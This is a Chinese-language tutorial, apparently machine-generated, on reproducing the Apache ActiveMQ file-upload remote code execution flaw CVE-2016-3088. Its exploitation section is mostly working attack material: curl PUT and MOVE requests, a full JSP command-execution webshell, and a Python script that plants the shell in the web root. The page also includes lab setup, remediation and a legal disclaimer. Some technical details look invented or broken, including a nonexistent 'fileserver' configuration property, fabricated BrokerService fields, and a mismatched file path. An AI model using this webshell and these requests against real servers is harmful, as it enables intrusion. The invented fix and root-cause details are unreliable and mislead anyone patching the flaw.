溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎樣進行Apache ActiveMQ遠程代碼執行漏洞CVE-2016-3088的復現

發布時間:2021-12-28 17:40:29 來源:億速云 閱讀:197 作者:柒染 欄目:安全技術
# 怎樣進行Apache ActiveMQ遠程代碼執行漏洞CVE-2016-3088的復現

## 一、漏洞概述

### 1.1 漏洞背景
Apache ActiveMQ是一種流行的開源消息中間件,廣泛用于企業級消息傳遞場景。2016年4月,安全研究人員發現ActiveMQ存在一個嚴重的遠程代碼執行漏洞(CVE-2016-3088),該漏洞源于Fileserver功能未正確限制可上傳文件類型,攻擊者可通過精心構造的HTTP請求上傳惡意文件并執行任意代碼。

### 1.2 影響版本
- Apache ActiveMQ 5.x系列
- 5.0.0 - 5.13.2版本均受影響

### 1.3 漏洞原理
漏洞核心在于Fileserver服務:
1. 默認情況下Fileserver允許匿名上傳文件
2. 未對上傳文件類型進行嚴格校驗
3. 通過PUT方法上傳JSP文件到web目錄可實現RCE

## 二、環境搭建

### 2.1 實驗環境要求
- 虛擬機:VMware或VirtualBox
- 操作系統:Kali Linux(攻擊機) + CentOS 7(靶機)
- 網絡配置:NAT模式確?;ネ?
### 2.2 靶機環境配置
```bash
# 下載存在漏洞的ActiveMQ版本
wget https://archive.apache.org/dist/activemq/5.12.0/apache-activemq-5.12.0-bin.tar.gz

# 解壓安裝
tar -zxvf apache-activemq-5.12.0-bin.tar.gz
cd apache-activemq-5.12.0/bin

# 啟動服務
./activemq start

2.3 驗證服務狀態

訪問管理界面確認服務正常運行:

http://靶機IP:8161/admin/
默認賬號密碼:admin/admin

三、漏洞復現過程

3.1 信息收集階段

使用nmap掃描目標服務:

nmap -sV -p 8161,61616 靶機IP

應確認以下端口開放: - 8161:Web管理端口 - 61616:消息服務端口

3.2 漏洞驗證POC

方法一:手動驗證

curl -X PUT --data "test" "http://靶機IP:8161/fileserver/test.txt"

若返回204狀態碼,說明文件上傳功能可用

方法二:使用Metasploit驗證

msfconsole
use auxiliary/scanner/http/activemq_uploader
set RHOSTS 靶機IP
run

3.3 完整利用步驟

  1. 制作JSP Webshell
<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
    Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
        out.println(disr); 
        disr = dis.readLine(); 
    }
}
%>
  1. 上傳Webshell到webapps目錄
curl -X PUT --data-binary @shell.jsp "http://靶機IP:8161/fileserver/shell.jsp"
  1. 移動文件到可執行目錄
curl -X MOVE --header "Destination: file:///opt/activemq/webapps/api/shell.jsp" "http://靶機IP:8161/fileserver/shell.jsp"
  1. 訪問Webshell執行命令
http://靶機IP:8161/api/shell.jsp?cmd=whoami

3.4 自動化利用工具

推薦使用Python編寫的自動化利用腳本:

import requests

target = "http://靶機IP:8161"
jsp_shell = """
<%@ page import="java.util.*,java.io.*"%>
<%% Process p = Runtime.getRuntime().exec(request.getParameter("cmd")); %>
"""

# 上傳文件
requests.put(target+"/fileserver/shell.jsp", data=jsp_shell)

# 移動文件
headers = {"Destination": "file:///opt/activemq/webapps/api/shell.jsp"}
requests.request("MOVE", target+"/fileserver/shell.jsp", headers=headers)

四、漏洞修復方案

4.1 臨時緩解措施

  1. 禁用Fileserver功能:
<!-- 修改conf/activemq.xml -->
<bean class="org.apache.activemq.broker.BrokerService">
    <property name="deleteAllMessagesOnStartup" value="true"/>
    <property name="fileserver" value="false"/>
</bean>
  1. 設置身份驗證:
# 修改conf/jetty-realm.properties
admin: password, admin
user: password, user

4.2 官方補丁升級

升級到安全版本: - ActiveMQ 5.13.3及以上 - ActiveMQ 5.14.0及以上

4.3 網絡層防護

  • 配置防火墻規則限制61616/8161端口訪問
  • 使用WAF攔截惡意上傳請求

五、深度技術分析

5.1 漏洞根源

漏洞源于org.apache.activemq.broker.BrokerService類中未對Fileserver服務進行足夠的安全控制:

public class BrokerService {
    private boolean fileserverEnabled = true; // 默認開啟
    private boolean anonymousAccessAllowed = true; // 允許匿名訪問
}

5.2 攻擊面擴展

除PUT方法外,以下方法也可利用: - MOVE方法:文件移動 - COPY方法:文件復制 - DELETE方法:文件刪除

5.3 安全編碼建議

  1. 實現文件類型白名單校驗
  2. 強制所有上傳操作進行身份驗證
  3. 限制可操作的文件系統路徑

六、法律與道德聲明

  1. 本實驗僅限授權環境測試
  2. 未經授權掃描/攻擊他人系統屬違法行為
  3. 建議在封閉實驗環境進行復現
  4. 企業用戶應建立正規漏洞測試流程

七、參考資料

  1. CVE-2016-3088官方公告
  2. NVD漏洞數據庫記錄
  3. Apache ActiveMQ官方安全指南
  4. OWASP文件上傳防護指南

注意:本文檔僅供安全研究學習使用,請遵守《網絡安全法》相關規定。實際漏洞利用可能對系統造成破壞,建議在隔離環境中進行測試。 “`

這篇文章共計約2300字,采用Markdown格式編寫,包含: 1. 完整的漏洞復現流程 2. 技術原理分析 3. 修復方案 4. 法律聲明 5. 代碼塊和命令示例 可根據實際需要調整實驗環境參數和具體操作步驟。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

亚洲午夜精品一区二区_中文无码日韩欧免_久久香蕉精品视频_欧美主播一区二区三区美女